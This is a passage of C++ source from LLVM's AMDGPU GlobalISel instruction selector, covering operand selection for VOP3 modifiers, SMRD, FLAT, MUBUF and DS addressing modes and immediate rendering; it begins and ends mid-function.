// we now have an SGPR register source. To avoid potentially violating the
// constant bus restriction, we need to insert a copy to a VGPR.
Register VGPRSrc = MRI->cloneVirtualRegister(OrigSrc);
BuildMI(*UseMI->getParent(), UseMI, UseMI->getDebugLoc(),
TII.get(AMDGPU::COPY), VGPRSrc)
.addReg(Src);
Src = VGPRSrc;
}
return std::make_pair(Src, Mods);
}
///
/// This will select either an SGPR or VGPR operand and will save us from
/// having to write an extra tablegen pattern.
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVSRC0(MachineOperand &Root) const {
return {{
[=](MachineInstrBuilder &MIB) { MIB.add(Root); }
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3Mods0(MachineOperand &Root) const {
Register Src;
unsigned Mods;
std::tie(Src, Mods) = selectVOP3ModsImpl(Root);
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Src); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Mods); }, // src0_mods
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); }, // clamp
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); } // omod
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3OMods(MachineOperand &Root) const {
return {{
[=](MachineInstrBuilder &MIB) { MIB.add(Root); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); }, // clamp
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); } // omod
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3Mods(MachineOperand &Root) const {
Register Src;
unsigned Mods;
std::tie(Src, Mods) = selectVOP3ModsImpl(Root);
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Src); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Mods); } // src_mods
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3NoMods(MachineOperand &Root) const {
Register Reg = Root.getReg();
const MachineInstr *Def = getDefIgnoringCopies(Reg, *MRI);
if (Def && (Def->getOpcode() == AMDGPU::G_FNEG ||
Def->getOpcode() == AMDGPU::G_FABS))
return {};
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Reg); },
}};
}
std::pair<Register, unsigned>
AMDGPUInstructionSelector::selectVOP3PModsImpl(
Register Src, const MachineRegisterInfo &MRI) const {
unsigned Mods = 0;
MachineInstr *MI = MRI.getVRegDef(Src);
if (MI && MI->getOpcode() == AMDGPU::G_FNEG &&
// It's possible to see an f32 fneg here, but unlikely.
// TODO: Treat f32 fneg as only high bit.
MRI.getType(Src) == LLT::vector(2, 16)) {
Mods ^= (SISrcMods::NEG | SISrcMods::NEG_HI);
Src = MI->getOperand(1).getReg();
MI = MRI.getVRegDef(Src);
}
// TODO: Match op_sel through g_build_vector_trunc and g_shuffle_vector.
// Packed instructions do not have abs modifiers.
Mods |= SISrcMods::OP_SEL_1;
return std::make_pair(Src, Mods);
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3PMods(MachineOperand &Root) const {
MachineRegisterInfo &MRI
= Root.getParent()->getParent()->getParent()->getRegInfo();
Register Src;
unsigned Mods;
std::tie(Src, Mods) = selectVOP3PModsImpl(Root.getReg(), MRI);
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Src); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Mods); } // src_mods
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3Mods_nnan(MachineOperand &Root) const {
Register Src;
unsigned Mods;
std::tie(Src, Mods) = selectVOP3ModsImpl(Root);
if (!TM.Options.NoNaNsFPMath && !isKnownNeverNaN(Src, *MRI))
return None;
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Src); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Mods); } // src_mods
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectVOP3OpSelMods(MachineOperand &Root) const {
// FIXME: Handle op_sel
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Root.getReg()); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); } // src_mods
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectSmrdImm(MachineOperand &Root) const {
SmallVector<GEPInfo, 4> AddrInfo;
getAddrModeInfo(*Root.getParent(), *MRI, AddrInfo);
if (AddrInfo.empty() || AddrInfo[0].SgprParts.size() != 1)
return None;
const GEPInfo &GEPInfo = AddrInfo[0];
Optional<int64_t> EncodedImm =
AMDGPU::getSMRDEncodedOffset(STI, GEPInfo.Imm, false);
if (!EncodedImm)
return None;
unsigned PtrReg = GEPInfo.SgprParts[0];
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(PtrReg); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(*EncodedImm); }
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectSmrdImm32(MachineOperand &Root) const {
SmallVector<GEPInfo, 4> AddrInfo;
getAddrModeInfo(*Root.getParent(), *MRI, AddrInfo);
if (AddrInfo.empty() || AddrInfo[0].SgprParts.size() != 1)
return None;
const GEPInfo &GEPInfo = AddrInfo[0];
Register PtrReg = GEPInfo.SgprParts[0];
Optional<int64_t> EncodedImm =
AMDGPU::getSMRDEncodedLiteralOffset32(STI, GEPInfo.Imm);
if (!EncodedImm)
return None;
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(PtrReg); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(*EncodedImm); }
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectSmrdSgpr(MachineOperand &Root) const {
MachineInstr *MI = Root.getParent();
MachineBasicBlock *MBB = MI->getParent();
SmallVector<GEPInfo, 4> AddrInfo;
getAddrModeInfo(*MI, *MRI, AddrInfo);
// FIXME: We should shrink the GEP if the offset is known to be <= 32-bits,
// then we can select all ptr + 32-bit offsets not just immediate offsets.
if (AddrInfo.empty() || AddrInfo[0].SgprParts.size() != 1)
return None;
const GEPInfo &GEPInfo = AddrInfo[0];
// SGPR offset is unsigned.
if (!GEPInfo.Imm || GEPInfo.Imm < 0 || !isUInt<32>(GEPInfo.Imm))
return None;
// If we make it this far we have a load with an 32-bit immediate offset.
// It is OK to select this using a sgpr offset, because we have already
// failed trying to select this load into one of the _IMM variants since
// the _IMM Patterns are considered before the _SGPR patterns.
Register PtrReg = GEPInfo.SgprParts[0];
Register OffsetReg = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
BuildMI(*MBB, MI, MI->getDebugLoc(), TII.get(AMDGPU::S_MOV_B32), OffsetReg)
.addImm(GEPInfo.Imm);
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(PtrReg); },
[=](MachineInstrBuilder &MIB) { MIB.addReg(OffsetReg); }
}};
}
template <bool Signed>
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectFlatOffsetImpl(MachineOperand &Root) const {
MachineInstr *MI = Root.getParent();
InstructionSelector::ComplexRendererFns Default = {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Root.getReg()); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); }, // offset
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); } // slc
}};
if (!STI.hasFlatInstOffsets())
return Default;
const MachineInstr *OpDef = MRI->getVRegDef(Root.getReg());
if (!OpDef || OpDef->getOpcode() != AMDGPU::G_PTR_ADD)
return Default;
Optional<int64_t> Offset =
getConstantVRegVal(OpDef->getOperand(2).getReg(), *MRI);
if (!Offset.hasValue())
return Default;
unsigned AddrSpace = (*MI->memoperands_begin())->getAddrSpace();
if (!TII.isLegalFLATOffset(Offset.getValue(), AddrSpace, Signed))
return Default;
Register BasePtr = OpDef->getOperand(1).getReg();
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(BasePtr); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset.getValue()); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(0); } // slc
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectFlatOffset(MachineOperand &Root) const {
return selectFlatOffsetImpl<false>(Root);
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectFlatOffsetSigned(MachineOperand &Root) const {
return selectFlatOffsetImpl<true>(Root);
}
static bool isStackPtrRelative(const MachinePointerInfo &PtrInfo) {
auto PSV = PtrInfo.V.dyn_cast<const PseudoSourceValue *>();
return PSV && PSV->isStack();
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectMUBUFScratchOffen(MachineOperand &Root) const {
MachineInstr *MI = Root.getParent();
MachineBasicBlock *MBB = MI->getParent();
MachineFunction *MF = MBB->getParent();
const SIMachineFunctionInfo *Info = MF->getInfo<SIMachineFunctionInfo>();
int64_t Offset = 0;
if (mi_match(Root.getReg(), *MRI, m_ICst(Offset)) &&
Offset != TM.getNullPointerValue(AMDGPUAS::PRIVATE_ADDRESS)) {
Register HighBits = MRI->createVirtualRegister(&AMDGPU::VGPR_32RegClass);
// TODO: Should this be inside the render function? The iterator seems to
// move.
BuildMI(*MBB, MI, MI->getDebugLoc(), TII.get(AMDGPU::V_MOV_B32_e32),
HighBits)
.addImm(Offset & ~4095);
return {{[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(Info->getScratchRSrcReg());
},
[=](MachineInstrBuilder &MIB) { // vaddr
MIB.addReg(HighBits);
},
[=](MachineInstrBuilder &MIB) { // soffset
const MachineMemOperand *MMO = *MI->memoperands_begin();
const MachinePointerInfo &PtrInfo = MMO->getPointerInfo();
if (isStackPtrRelative(PtrInfo))
MIB.addReg(Info->getStackPtrOffsetReg());
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { // offset
MIB.addImm(Offset & 4095);
}}};
}
assert(Offset == 0 || Offset == -1);
// Try to fold a frame index directly into the MUBUF vaddr field, and any
// offsets.
Optional<int> FI;
Register VAddr = Root.getReg();
if (const MachineInstr *RootDef = MRI->getVRegDef(Root.getReg())) {
if (isBaseWithConstantOffset(Root, *MRI)) {
const MachineOperand &LHS = RootDef->getOperand(1);
const MachineOperand &RHS = RootDef->getOperand(2);
const MachineInstr *LHSDef = MRI->getVRegDef(LHS.getReg());
const MachineInstr *RHSDef = MRI->getVRegDef(RHS.getReg());
if (LHSDef && RHSDef) {
int64_t PossibleOffset =
RHSDef->getOperand(1).getCImm()->getSExtValue();
if (SIInstrInfo::isLegalMUBUFImmOffset(PossibleOffset) &&
(!STI.privateMemoryResourceIsRangeChecked() ||
KnownBits->signBitIsZero(LHS.getReg()))) {
if (LHSDef->getOpcode() == AMDGPU::G_FRAME_INDEX)
FI = LHSDef->getOperand(1).getIndex();
else
VAddr = LHS.getReg();
Offset = PossibleOffset;
}
}
} else if (RootDef->getOpcode() == AMDGPU::G_FRAME_INDEX) {
FI = RootDef->getOperand(1).getIndex();
}
}
return {{[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(Info->getScratchRSrcReg());
},
[=](MachineInstrBuilder &MIB) { // vaddr
if (FI.hasValue())
MIB.addFrameIndex(FI.getValue());
else
MIB.addReg(VAddr);
},
[=](MachineInstrBuilder &MIB) { // soffset
// If we don't know this private access is a local stack object, it
// needs to be relative to the entry point's scratch wave offset.
// TODO: Should split large offsets that don't fit like above.
// TODO: Don't use scratch wave offset just because the offset
// didn't fit.
if (!Info->isEntryFunction() && FI.hasValue())
MIB.addReg(Info->getStackPtrOffsetReg());
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { // offset
MIB.addImm(Offset);
}}};
}
bool AMDGPUInstructionSelector::isDSOffsetLegal(Register Base,
int64_t Offset,
unsigned OffsetBits) const {
if ((OffsetBits == 16 && !isUInt<16>(Offset)) ||
(OffsetBits == 8 && !isUInt<8>(Offset)))
return false;
if (STI.hasUsableDSOffset() || STI.unsafeDSOffsetFoldingEnabled())
return true;
// On Southern Islands instruction with a negative base value and an offset
// don't seem to work.
return KnownBits->signBitIsZero(Base);
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectMUBUFScratchOffset(
MachineOperand &Root) const {
MachineInstr *MI = Root.getParent();
MachineBasicBlock *MBB = MI->getParent();
int64_t Offset = 0;
if (!mi_match(Root.getReg(), *MRI, m_ICst(Offset)) ||
!SIInstrInfo::isLegalMUBUFImmOffset(Offset))
return {};
const MachineFunction *MF = MBB->getParent();
const SIMachineFunctionInfo *Info = MF->getInfo<SIMachineFunctionInfo>();
const MachineMemOperand *MMO = *MI->memoperands_begin();
const MachinePointerInfo &PtrInfo = MMO->getPointerInfo();
return {{
[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(Info->getScratchRSrcReg());
},
[=](MachineInstrBuilder &MIB) { // soffset
if (isStackPtrRelative(PtrInfo))
MIB.addReg(Info->getStackPtrOffsetReg());
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset); } // offset
}};
}
std::pair<Register, unsigned>
AMDGPUInstructionSelector::selectDS1Addr1OffsetImpl(MachineOperand &Root) const {
const MachineInstr *RootDef = MRI->getVRegDef(Root.getReg());
if (!RootDef)
return std::make_pair(Root.getReg(), 0);
int64_t ConstAddr = 0;
Register PtrBase;
int64_t Offset;
std::tie(PtrBase, Offset) =
getPtrBaseWithConstantOffset(Root.getReg(), *MRI);
if (Offset) {
if (isDSOffsetLegal(PtrBase, Offset, 16)) {
// (add n0, c0)
return std::make_pair(PtrBase, Offset);
}
} else if (RootDef->getOpcode() == AMDGPU::G_SUB) {
// TODO
} else if (mi_match(Root.getReg(), *MRI, m_ICst(ConstAddr))) {
// TODO
}
return std::make_pair(Root.getReg(), 0);
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectDS1Addr1Offset(MachineOperand &Root) const {
Register Reg;
unsigned Offset;
std::tie(Reg, Offset) = selectDS1Addr1OffsetImpl(Root);
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Reg); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset); }
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectDS64Bit4ByteAligned(MachineOperand &Root) const {
Register Reg;
unsigned Offset;
std::tie(Reg, Offset) = selectDS64Bit4ByteAlignedImpl(Root);
return {{
[=](MachineInstrBuilder &MIB) { MIB.addReg(Reg); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset); },
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset+1); }
}};
}
std::pair<Register, unsigned>
AMDGPUInstructionSelector::selectDS64Bit4ByteAlignedImpl(MachineOperand &Root) const {
const MachineInstr *RootDef = MRI->getVRegDef(Root.getReg());
if (!RootDef)
return std::make_pair(Root.getReg(), 0);
int64_t ConstAddr = 0;
Register PtrBase;
int64_t Offset;
std::tie(PtrBase, Offset) =
getPtrBaseWithConstantOffset(Root.getReg(), *MRI);
if (Offset) {
int64_t DWordOffset0 = Offset / 4;
int64_t DWordOffset1 = DWordOffset0 + 1;
if (isDSOffsetLegal(PtrBase, DWordOffset1, 8)) {
// (add n0, c0)
return std::make_pair(PtrBase, DWordOffset0);
}
} else if (RootDef->getOpcode() == AMDGPU::G_SUB) {
// TODO
} else if (mi_match(Root.getReg(), *MRI, m_ICst(ConstAddr))) {
// TODO
}
return std::make_pair(Root.getReg(), 0);
}
/// If \p Root is a G_PTR_ADD with a G_CONSTANT on the right hand side, return
/// the base value with the constant offset. There may be intervening copies
/// between \p Root and the identified constant. Returns \p Root, 0 if this does
/// not match the pattern.
std::pair<Register, int64_t>
AMDGPUInstructionSelector::getPtrBaseWithConstantOffset(
Register Root, const MachineRegisterInfo &MRI) const {
MachineInstr *RootI = MRI.getVRegDef(Root);
if (RootI->getOpcode() != TargetOpcode::G_PTR_ADD)
return {Root, 0};
MachineOperand &RHS = RootI->getOperand(2);
Optional<ValueAndVReg> MaybeOffset
= getConstantVRegValWithLookThrough(RHS.getReg(), MRI, true);
if (!MaybeOffset)
return {Root, 0};
return {RootI->getOperand(1).getReg(), MaybeOffset->Value};
}
static void addZeroImm(MachineInstrBuilder &MIB) {
MIB.addImm(0);
}
/// Return a resource descriptor for use with an arbitrary 64-bit pointer. If \p
/// BasePtr is not valid, a null base pointer will be used.
static Register buildRSRC(MachineIRBuilder &B, MachineRegisterInfo &MRI,
uint32_t FormatLo, uint32_t FormatHi,
Register BasePtr) {
Register RSrc2 = MRI.createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register RSrc3 = MRI.createVirtualRegister(&AMDGPU::SReg_32RegClass);
Register RSrcHi = MRI.createVirtualRegister(&AMDGPU::SReg_64RegClass);
Register RSrc = MRI.createVirtualRegister(&AMDGPU::SGPR_128RegClass);
B.buildInstr(AMDGPU::S_MOV_B32)
.addDef(RSrc2)
.addImm(FormatLo);
B.buildInstr(AMDGPU::S_MOV_B32)
.addDef(RSrc3)
.addImm(FormatHi);
// Build the half of the subregister with the constants before building the
// full 128-bit register. If we are building multiple resource descriptors,
// this will allow CSEing of the 2-component register.
B.buildInstr(AMDGPU::REG_SEQUENCE)
.addDef(RSrcHi)
.addReg(RSrc2)
.addImm(AMDGPU::sub0)
.addReg(RSrc3)
.addImm(AMDGPU::sub1);
Register RSrcLo = BasePtr;
if (!BasePtr) {
RSrcLo = MRI.createVirtualRegister(&AMDGPU::SReg_64RegClass);
B.buildInstr(AMDGPU::S_MOV_B64)
.addDef(RSrcLo)
.addImm(0);
}
B.buildInstr(AMDGPU::REG_SEQUENCE)
.addDef(RSrc)
.addReg(RSrcLo)
.addImm(AMDGPU::sub0_sub1)
.addReg(RSrcHi)
.addImm(AMDGPU::sub2_sub3);
return RSrc;
}
static Register buildAddr64RSrc(MachineIRBuilder &B, MachineRegisterInfo &MRI,
const SIInstrInfo &TII, Register BasePtr) {
uint64_t DefaultFormat = TII.getDefaultRsrcDataFormat();
// FIXME: Why are half the "default" bits ignored based on the addressing
// mode?
return buildRSRC(B, MRI, 0, Hi_32(DefaultFormat), BasePtr);
}
static Register buildOffsetSrc(MachineIRBuilder &B, MachineRegisterInfo &MRI,
const SIInstrInfo &TII, Register BasePtr) {
uint64_t DefaultFormat = TII.getDefaultRsrcDataFormat();
// FIXME: Why are half the "default" bits ignored based on the addressing
// mode?
return buildRSRC(B, MRI, -1, Hi_32(DefaultFormat), BasePtr);
}
AMDGPUInstructionSelector::MUBUFAddressData
AMDGPUInstructionSelector::parseMUBUFAddress(Register Src) const {
MUBUFAddressData Data;
Data.N0 = Src;
Register PtrBase;
int64_t Offset;
std::tie(PtrBase, Offset) = getPtrBaseWithConstantOffset(Src, *MRI);
if (isUInt<32>(Offset)) {
Data.N0 = PtrBase;
Data.Offset = Offset;
}
if (MachineInstr *InputAdd
= getOpcodeDef(TargetOpcode::G_PTR_ADD, Data.N0, *MRI)) {
Data.N2 = InputAdd->getOperand(1).getReg();
Data.N3 = InputAdd->getOperand(2).getReg();
// FIXME: Need to fix extra SGPR->VGPRcopies inserted
// FIXME: Don't know this was defined by operand 0
//
// TODO: Remove this when we have copy folding optimizations after
// RegBankSelect.
Data.N2 = getDefIgnoringCopies(Data.N2, *MRI)->getOperand(0).getReg();
Data.N3 = getDefIgnoringCopies(Data.N3, *MRI)->getOperand(0).getReg();
}
return Data;
}
/// Return if the addr64 mubuf mode should be used for the given address.
bool AMDGPUInstructionSelector::shouldUseAddr64(MUBUFAddressData Addr) const {
// (ptr_add N2, N3) -> addr64, or
// (ptr_add (ptr_add N2, N3), C1) -> addr64
if (Addr.N2)
return true;
const RegisterBank *N0Bank = RBI.getRegBank(Addr.N0, *MRI, TRI);
return N0Bank->getID() == AMDGPU::VGPRRegBankID;
}
/// Split an immediate offset \p ImmOffset depending on whether it fits in the
/// immediate field. Modifies \p ImmOffset and sets \p SOffset to the variable
/// component.
void AMDGPUInstructionSelector::splitIllegalMUBUFOffset(
MachineIRBuilder &B, Register &SOffset, int64_t &ImmOffset) const {
if (SIInstrInfo::isLegalMUBUFImmOffset(ImmOffset))
return;
// Illegal offset, store it in soffset.
SOffset = MRI->createVirtualRegister(&AMDGPU::SReg_32RegClass);
B.buildInstr(AMDGPU::S_MOV_B32)
.addDef(SOffset)
.addImm(ImmOffset);
ImmOffset = 0;
}
bool AMDGPUInstructionSelector::selectMUBUFAddr64Impl(
MachineOperand &Root, Register &VAddr, Register &RSrcReg,
Register &SOffset, int64_t &Offset) const {
// FIXME: Predicates should stop this from reaching here.
// addr64 bit was removed for volcanic islands.
if (!STI.hasAddr64() || STI.useFlatForGlobal())
return false;
MUBUFAddressData AddrData = parseMUBUFAddress(Root.getReg());
if (!shouldUseAddr64(AddrData))
return false;
Register N0 = AddrData.N0;
Register N2 = AddrData.N2;
Register N3 = AddrData.N3;
Offset = AddrData.Offset;
// Base pointer for the SRD.
Register SRDPtr;
if (N2) {
if (RBI.getRegBank(N2, *MRI, TRI)->getID() == AMDGPU::VGPRRegBankID) {
assert(N3);
if (RBI.getRegBank(N3, *MRI, TRI)->getID() == AMDGPU::VGPRRegBankID) {
// Both N2 and N3 are divergent. Use N0 (the result of the add) as the
// addr64, and construct the default resource from a 0 address.
VAddr = N0;
} else {
SRDPtr = N3;
VAddr = N2;
}
} else {
// N2 is not divergent.
SRDPtr = N2;
VAddr = N3;
}
} else if (RBI.getRegBank(N0, *MRI, TRI)->getID() == AMDGPU::VGPRRegBankID) {
// Use the default null pointer in the resource
VAddr = N0;
} else {
// N0 -> offset, or
// (N0 + C1) -> offset
SRDPtr = N0;
}
MachineIRBuilder B(*Root.getParent());
RSrcReg = buildAddr64RSrc(B, *MRI, TII, SRDPtr);
splitIllegalMUBUFOffset(B, SOffset, Offset);
return true;
}
bool AMDGPUInstructionSelector::selectMUBUFOffsetImpl(
MachineOperand &Root, Register &RSrcReg, Register &SOffset,
int64_t &Offset) const {
MUBUFAddressData AddrData = parseMUBUFAddress(Root.getReg());
if (shouldUseAddr64(AddrData))
return false;
// N0 -> offset, or
// (N0 + C1) -> offset
Register SRDPtr = AddrData.N0;
Offset = AddrData.Offset;
// TODO: Look through extensions for 32-bit soffset.
MachineIRBuilder B(*Root.getParent());
RSrcReg = buildOffsetSrc(B, *MRI, TII, SRDPtr);
splitIllegalMUBUFOffset(B, SOffset, Offset);
return true;
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectMUBUFAddr64(MachineOperand &Root) const {
Register VAddr;
Register RSrcReg;
Register SOffset;
int64_t Offset = 0;
if (!selectMUBUFAddr64Impl(Root, VAddr, RSrcReg, SOffset, Offset))
return {};
// FIXME: Use defaulted operands for trailing 0s and remove from the complex
// pattern.
return {{
[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(RSrcReg);
},
[=](MachineInstrBuilder &MIB) { // vaddr
MIB.addReg(VAddr);
},
[=](MachineInstrBuilder &MIB) { // soffset
if (SOffset)
MIB.addReg(SOffset);
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { // offset
MIB.addImm(Offset);
},
addZeroImm, // glc
addZeroImm, // slc
addZeroImm, // tfe
addZeroImm, // dlc
addZeroImm // swz
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectMUBUFOffset(MachineOperand &Root) const {
Register RSrcReg;
Register SOffset;
int64_t Offset = 0;
if (!selectMUBUFOffsetImpl(Root, RSrcReg, SOffset, Offset))
return {};
return {{
[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(RSrcReg);
},
[=](MachineInstrBuilder &MIB) { // soffset
if (SOffset)
MIB.addReg(SOffset);
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset); }, // offset
addZeroImm, // glc
addZeroImm, // slc
addZeroImm, // tfe
addZeroImm, // dlc
addZeroImm // swz
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectMUBUFAddr64Atomic(MachineOperand &Root) const {
Register VAddr;
Register RSrcReg;
Register SOffset;
int64_t Offset = 0;
if (!selectMUBUFAddr64Impl(Root, VAddr, RSrcReg, SOffset, Offset))
return {};
// FIXME: Use defaulted operands for trailing 0s and remove from the complex
// pattern.
return {{
[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(RSrcReg);
},
[=](MachineInstrBuilder &MIB) { // vaddr
MIB.addReg(VAddr);
},
[=](MachineInstrBuilder &MIB) { // soffset
if (SOffset)
MIB.addReg(SOffset);
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { // offset
MIB.addImm(Offset);
},
addZeroImm // slc
}};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectMUBUFOffsetAtomic(MachineOperand &Root) const {
Register RSrcReg;
Register SOffset;
int64_t Offset = 0;
if (!selectMUBUFOffsetImpl(Root, RSrcReg, SOffset, Offset))
return {};
return {{
[=](MachineInstrBuilder &MIB) { // rsrc
MIB.addReg(RSrcReg);
},
[=](MachineInstrBuilder &MIB) { // soffset
if (SOffset)
MIB.addReg(SOffset);
else
MIB.addImm(0);
},
[=](MachineInstrBuilder &MIB) { MIB.addImm(Offset); }, // offset
addZeroImm // slc
}};
}
/// Get an immediate that must be 32-bits, and treated as zero extended.
static Optional<uint64_t> getConstantZext32Val(Register Reg,
const MachineRegisterInfo &MRI) {
// getConstantVRegVal sexts any values, so see if that matters.
Optional<int64_t> OffsetVal = getConstantVRegVal(Reg, MRI);
if (!OffsetVal || !isInt<32>(*OffsetVal))
return None;
return Lo_32(*OffsetVal);
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectSMRDBufferImm(MachineOperand &Root) const {
Optional<uint64_t> OffsetVal = getConstantZext32Val(Root.getReg(), *MRI);
if (!OffsetVal)
return {};
Optional<int64_t> EncodedImm =
AMDGPU::getSMRDEncodedOffset(STI, *OffsetVal, true);
if (!EncodedImm)
return {};
return {{ [=](MachineInstrBuilder &MIB) { MIB.addImm(*EncodedImm); } }};
}
InstructionSelector::ComplexRendererFns
AMDGPUInstructionSelector::selectSMRDBufferImm32(MachineOperand &Root) const {
assert(STI.getGeneration() == AMDGPUSubtarget::SEA_ISLANDS);
Optional<uint64_t> OffsetVal = getConstantZext32Val(Root.getReg(), *MRI);
if (!OffsetVal)
return {};
Optional<int64_t> EncodedImm
= AMDGPU::getSMRDEncodedLiteralOffset32(STI, *OffsetVal);
if (!EncodedImm)
return {};
return {{ [=](MachineInstrBuilder &MIB) { MIB.addImm(*EncodedImm); } }};
}
void AMDGPUInstructionSelector::renderTruncImm32(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(MI.getOpcode() == TargetOpcode::G_CONSTANT && OpIdx == -1 &&
"Expected G_CONSTANT");
MIB.addImm(MI.getOperand(1).getCImm()->getSExtValue());
}
void AMDGPUInstructionSelector::renderNegateImm(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(MI.getOpcode() == TargetOpcode::G_CONSTANT && OpIdx == -1 &&
"Expected G_CONSTANT");
MIB.addImm(-MI.getOperand(1).getCImm()->getSExtValue());
}
void AMDGPUInstructionSelector::renderBitcastImm(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(OpIdx == -1);
const MachineOperand &Op = MI.getOperand(1);
if (MI.getOpcode() == TargetOpcode::G_FCONSTANT)
MIB.addImm(Op.getFPImm()->getValueAPF().bitcastToAPInt().getZExtValue());
else {
assert(MI.getOpcode() == TargetOpcode::G_CONSTANT && "Expected G_CONSTANT");
MIB.addImm(Op.getCImm()->getSExtValue());
}
}
void AMDGPUInstructionSelector::renderPopcntImm(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(MI.getOpcode() == TargetOpcode::G_CONSTANT && OpIdx == -1 &&
"Expected G_CONSTANT");
MIB.addImm(MI.getOperand(1).getCImm()->getValue().countPopulation());
}
/// This only really exists to satisfy DAG type checking machinery, so is a
/// no-op here.
void AMDGPUInstructionSelector::renderTruncTImm(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
MIB.addImm(MI.getOperand(OpIdx).getImm());
}
void AMDGPUInstructionSelector::renderExtractGLC(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(OpIdx >= 0 && "expected to match an immediate operand");
MIB.addImm(MI.getOperand(OpIdx).getImm() & 1);
}
void AMDGPUInstructionSelector::renderExtractSLC(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(OpIdx >= 0 && "expected to match an immediate operand");
MIB.addImm((MI.getOperand(OpIdx).getImm() >> 1) & 1);
}
void AMDGPUInstructionSelector::renderExtractDLC(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(OpIdx >= 0 && "expected to match an immediate operand");
MIB.addImm((MI.getOperand(OpIdx).getImm() >> 2) & 1);
}
void AMDGPUInstructionSelector::renderExtractSWZ(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
assert(OpIdx >= 0 && "expected to match an immediate operand");
MIB.addImm((MI.getOperand(OpIdx).getImm() >> 3) & 1);
}
void AMDGPUInstructionSelector::renderFrameIndex(MachineInstrBuilder &MIB,
const MachineInstr &MI,
int OpIdx) const {
MIB.addFrameIndex((MI.getOperand(1).getIndex()));
}
bool AMDGPUInstructionSelector::isInlineImmediate16(int64_t Imm) const {
return AMDGPU::isInlinableLiteral16(Imm, STI.hasInv2PiInlineImm());
}
bool AMDGPUInstructionSelector::isInlineImmediate32(int64_t Imm) const {
return AMDGPU::isInlinableLiteral32(Imm, STI.hasInv2PiInlineImm());
}
bool AMDGPUInstructionSelector::isInlineImmediate64(int64_t Imm) const {
